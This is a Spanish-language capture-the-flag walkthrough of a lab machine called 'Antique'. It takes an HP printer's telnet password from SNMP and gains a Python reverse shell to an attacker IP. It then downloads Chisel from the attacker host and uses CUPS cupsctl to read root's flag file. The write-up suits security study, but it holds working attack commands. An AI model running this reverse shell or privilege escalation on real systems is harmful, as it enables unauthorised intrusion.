# Antique
## Enumeración
### Enumeración de puertos
Comenzamos la resolución de la máquina "Antique", enumerando que puertos tiene abiertos el sistema objetivo.
```
nmap -p- --open -Pn --min-rate 500 10.10.11.107
```
Un único puerto abierto, 23 telnet. Vamos a hacer la enumeración detallada de este servicio.
```
nmap -p23 -sVC -Pn -n 10.10.11.107
```
**VERSIONES**
* Puerto 23 -> telnet -> ?
La enumeración de puertos no nos aporta información que nos permita orientarnos en la resolución de la máquina. Podemos realizar la enumeración de puertos UDP por si nos aportase información relevante.
```
sudo nmap -p- --open -sU -Pn --min-rate 500 10.10.11.107
```
El sistema objetivo tiene el puerto 161 UDP abierto. Esto puede ser muy útil.
### Telnet
En la enumeración inicial determinábamos que el puerto 23 TCP estaba abierto en el objetivo. Vamos a comprobar si podemos acceder a información relevante.
```
telnet 10.10.11.107
```
Parece la conexión de un equipo HP, posiblemente una impresora. Se nos solicita una contraseña de la que no disponemos.
### SNMP
Tras determinar en la enumeración inicial que existe un puerto 161 UDP (servicio snmp), vamos a tratar de utilizarlo para extraer información relevante del sistema. Buscando información relacionada con la información que tenemos, encontramos el siguiente [artículo](https://www.exploit-db.com/exploits/22319). Lo hacemos de la siguiente forma.
```
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
```
```
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```
El artículo que nombrábamos anteriormente hablaba de una filtración de credenciales en formato hexadecimal. Vamos a tratar de descifrar la cadena hexadecimal que hemos encontrado anteriormente.
Utilizando la herramienta CyberChef, desciframos la cadena hexadecimal y encontramos la contraseña "P\@ssw0rd\@123!!123". Vamos a utilizar está password en la conexión telnet donde se solicitó la contraseña anteriormente.
## Explotación
Vamos a comprobar si la contraseña que obtuvimos durante la fase de enumeración es válida para el servicio telnet que se está ejecutando en el sistema.
Como podemos comprobar, la contraseña es válida. Parece que una de las cosas que podemos hacer es ejecutar comandos desde la terminal de telnet. Vamos a tratar de aprovechar esto para ejecutar una reverse shell hacia nuestra máquina de ataque. Ejecutamos el siguiente comando:
```
exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```
Y por otro lado, configuramos un oyente nc en el puerto 1234.
Obtenemos acceso al sistema como usuario "lp". El siguiente paso será buscar la flag de usuario de bajos privilegios.
## Elevación de privilegios
Una vez obtenido el acceso al sistema objetivo, el siguiente paso será encontrar posibles vectores que nos permitan obtener privilegios elevados en el sistema. Comenzamos enumerando que puede ejecutar el usuario lp como root sin necesidad de contraseña.
No disponemos de contraseña para el usuario lp. Otra cosa que podemos enumerar son lo permisos SUID.
```
find / -perm -u=s -type f 2>/dev/null
```
Ninguno de los binarios con permisos SUID nos va a permitir elevar privilegios. Continuamos enumerando las capabilities.
Nada interesante. Otra cosa que podemos hacer es enumerar los servicios que se están ejecutando de forma interna en la máquina objetivo.
Vemos un puerto interno 631. Veamos que se está ejecutando en este servicio.
```
curl 127.0.0.1:631
```
Encontramos una versión para el servicio que se está ejecutando de forma interna en el objetivo. Este servicio no es accesible desde nuestra máquina de ataque, así que vamos a reenviar este puerto a nuestra máquina utilizando la herramienta Chisel. Instalamos Chisel en nuestra máquina de ataque desde los repositorios y descargamos el agent desde[ Github](https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz). Por un lado, ejecutamos Chisel en nuestra máquina de ataque:
```
sudo chisel server -p 8000 --reverse
```
Y por otro enviamos el agent a la máquina víctima utilizando un servidor HTTP Python.
```
Máquina de ataque: python3 -m http.server 8080
Máquina objetivo: wget 10.10.16.5:8080/chisel
```
Damos permisos de ejecución:
```
chmod +x chisel
```
Y ejecutamos:
```
./chisel client 10.10.16.5:8000 R:631:127.0.0.1:631
```
Ahora recibiremos la conexión en nuestra máquina de ataque:
Y podremos conectarnos al servicio interno desde nuestro equipo de ataque.
Lo siguiente que vamos a hacer es buscar vulnerabilidades para la versión que hemos encontrado. Encontramos la siguiente información relevante:
* [https://www.rapid7.com/db/modules/post/multi/escalate/cups\_root\_file\_read/ ](https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_read/)
* [https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups\_root\_file\_read ](https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups_root_file_read)
Aunque es un script de post-explotación de la herramienta Metasploit, nos permite comprender como funciona la vulnerabilidad para esta versión. Este módulo muestra la localización del log de error. Por otro lado, importante también, los usuarios que pertenecen al grupo lpadmin pueden modificar la ubicación con el comando cupsctl. Comenzamos comprobando a que pertenece el usuario lp.
```
id
```
Sabiendo esto, vamos a modificar la ruta a la que queremos acceder ejecutando el siguiente comando en la máquina víctima.
```
cupsctl ErrorLog="/root/root.txt"
```
En el navegador de nuestra máquina de ataque y accedemos a la siguiente URL.
```
http://127.0.0.1:631/admin/log/error_log?
```
Encontramos la flag root.txt y finalizamos la resolución de la máquina Antique.
